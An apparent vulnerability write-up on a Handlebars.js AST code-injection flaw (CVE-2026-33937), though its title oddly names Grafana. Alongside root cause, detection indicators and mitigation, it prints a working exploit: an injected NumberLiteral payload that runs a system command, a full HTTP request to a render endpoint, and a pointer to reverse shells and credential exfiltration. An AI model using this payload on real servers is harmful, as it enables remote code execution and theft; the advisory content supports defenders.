CVE-2026-33937: 
Grafana vulnerability analysis and mitigation

CVE-2026-33937 is a critical JavaScript injection vulnerability in Handlebars.js, tracked as GHSA-2w6w-674q-4c4q, that allows unauthenticated remote attackers to execute arbitrary code on the server. It affects Handlebars npm package versions 4.0.0 through 4.7.8 and was disclosed on March 26, 2026, with a patch released the same day. The vulnerability stems from a type confusion flaw where Handlebars.compile() accepts pre-parsed AST objects in addition to template strings, without validating node field types. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, Github Advisory).

The root cause is classified under CWE-94 (Code Injection) and CWE-843 (Type Confusion). In lib/handlebars/compiler/javascript-compiler.js, the value field of a NumberLiteral AST node is emitted verbatim into the generated JavaScript code without quoting or sanitization — effectively compiledCode += numberLiteralNode.value. Because Handlebars.compile() accepts either a template string or a pre-parsed AST object, an attacker who can supply a JSON-deserialized object as the compile argument can set the NumberLiteral.value field to an arbitrary string containing JavaScript code (e.g., {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //), causing the injected code to break out of its intended context and execute on the server. Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() without type-checking is exploitable with no authentication required (GitHub Advisory, Github Advisory).

Successful exploitation grants an attacker full Remote Code Execution (RCE) on the server running the vulnerable Handlebars.js instance, with the privileges of the Node.js process. This results in high confidentiality, integrity, and availability impact — attackers can read sensitive data, modify or delete files, install backdoors, and disrupt service availability. The vulnerability affects any server-side application (including IBM API Connect, IBM App Connect Enterprise, IBM Cloud Pak for Integration, IBM CloudPak for AIOps, IBM Business Automation Manager Open Editions, IBM DevOps Solution Workbench, IBM Observability with Instana, and IBM QRadar Suite Software) that passes user-controlled JSON to Handlebars.compile(), making the blast radius potentially broad across the Node.js ecosystem (GitHub Advisory, IBM Advisory).

1. Reconnaissance: Identify server-side Node.js applications using Handlebars.js versions 4.0.0–4.7.8 that expose an HTTP endpoint accepting JSON input and passing it to Handlebars.compile() without type validation (e.g., a /api/render endpoint).
2. Craft malicious AST payload: Construct a JSON object representing a Handlebars AST Program node containing a MustacheStatement with a NumberLiteral parameter whose value field contains the injection string:

{
  "type": "NumberLiteral",
  "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
  "original": 1,
  "loc": null
}

3. Send the HTTP request: POST the crafted AST JSON to the vulnerable endpoint:

POST /api/render HTTP/1.1
Content-Type: application/json
Host: <target>

{"text": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null}, "params": [{"type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null}, {"type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //", "original": 1, "loc": null}], "escaped": true, "strip": {"open": false, "close": false}, "loc": null}]}}

4. Achieve RCE: The server's Handlebars.compile() emits the injected value verbatim into generated JavaScript, which is then evaluated, executing the id command (or any arbitrary command) as the Node.js process user. The command output is returned in the HTTP response body.
5. Escalate: Replace the execFileSync('id') payload with commands to establish a reverse shell, exfiltrate credentials, or install persistence mechanisms (GitHub Advisory, PoC Repo).

• Network: Unexpected HTTP POST requests to template rendering endpoints (e.g., /api/render) with Content-Type: application/json bodies containing nested JSON objects with "type": "Program", "NumberLiteral", or "MustacheStatement" keys instead of plain template strings; outbound connections from the Node.js server process to unknown external IPs.
• Logs: Web server access logs showing POST requests to template/render endpoints with unusually large or structured JSON bodies; Node.js application error logs showing unexpected JavaScript evaluation errors or output from system commands (e.g., uid=, gid= strings in response bodies).
• Process: Unusual child processes spawned by the Node.js process, such as /bin/sh, /bin/bash, id, whoami, curl, wget, or python; unexpected network connections initiated by the Node.js process.
• File System: New or modified files in the application directory created by the Node.js process user; unexpected cron jobs, SSH authorized_keys modifications, or web shells dropped in accessible directories.

Upgrade Handlebars.js to version 4.7.9 or later, which introduces AST input validation in lib/handlebars/compiler/base.js — rejecting any NumberLiteral whose value is not a proper JavaScript number, and similarly validating BooleanLiteral and PathExpression node fields (Handlebars v4.7.9, Patch Commit). If immediate upgrade is not possible, apply one of these workarounds: (1) validate that the argument to Handlebars.compile() is always a string before calling it (if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); }); or (2) use the Handlebars runtime-only build (handlebars/runtime) on the server when templates are pre-compiled at build time, which makes compile() unavailable. IBM has issued security bulletins for affected products including API Connect, App Connect Enterprise, Cloud Pak for Integration, CloudPak for AIOps, Business Automation Manager Open Editions, DevOps Solution Workbench, Instana, and QRadar Suite Software (IBM Advisory).

The vulnerability received prompt coverage from security news outlets and the infosec community shortly after disclosure on March 26–27, 2026, with articles published by The Hacker Wire and Yazoul.net highlighting the critical RCE nature of the flaw (The Hacker Wire). Security researchers on Mastodon (infosec.exchange) discussed the vulnerability and its PoC availability within hours of disclosure. Emerging Threats published a ruleset update on April 29, 2026 to detect exploitation attempts. IBM issued multiple security bulletins across its product portfolio acknowledging the impact on enterprise products that bundle Handlebars.js (IBM Advisory).